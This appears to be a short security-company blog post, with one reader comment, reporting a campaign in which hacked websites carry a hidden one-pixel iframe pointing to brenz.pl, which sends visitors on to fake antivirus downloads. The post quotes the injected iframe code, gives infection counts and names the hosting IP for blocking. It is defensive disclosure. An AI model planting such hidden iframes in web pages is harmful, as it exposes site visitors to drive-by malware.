We used to see brenz.pl being used to distribute malware back in 2009, and got shut down. However, for the last few weeks we noticed a big increase in the number of sites infected with iframes pointing to it.
All the sites infected have this iframe (or very similar):
<iframe style="height:1px" src="http://www.Brenz.pl/rc/” frameborder=0 wid..
Which redirects the user to another sites to download the unfamous Fake AV. How many sites got infected? According to Google at least 2 thousand sites got hacked in the last 90 days:
Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 1932 domain(s), including luragung.web.id/, computing.net/, puntlandpost.com/.
And under the same “management”, there is a domain called trenz.pl, which infected more than 1k sites:
Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 826 domain(s), including rs.gov.br/, darululoom-deoband.com/, upi.edu/.
Both sites are hosted on 91.188.59.197. So, one more IP address to block in your firewalls 🙂
If your site is currently hacked/infected, contact us to get it cleaned up and secured.
Daniel Cid
Fioravante Souza
David Dede
Antony Garand
Tony Perez
2 comments
pourquoi moi sur mon ordinateur système Windows XP , à chaque fois que j’enregistre un fichier .html, et je le reouvre: je vois marquer sur mon bloc-notes en bas :<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1 ?????mon ordinateur est aussi infecter!!!???et d’abord il n’y a pas de réseau?????
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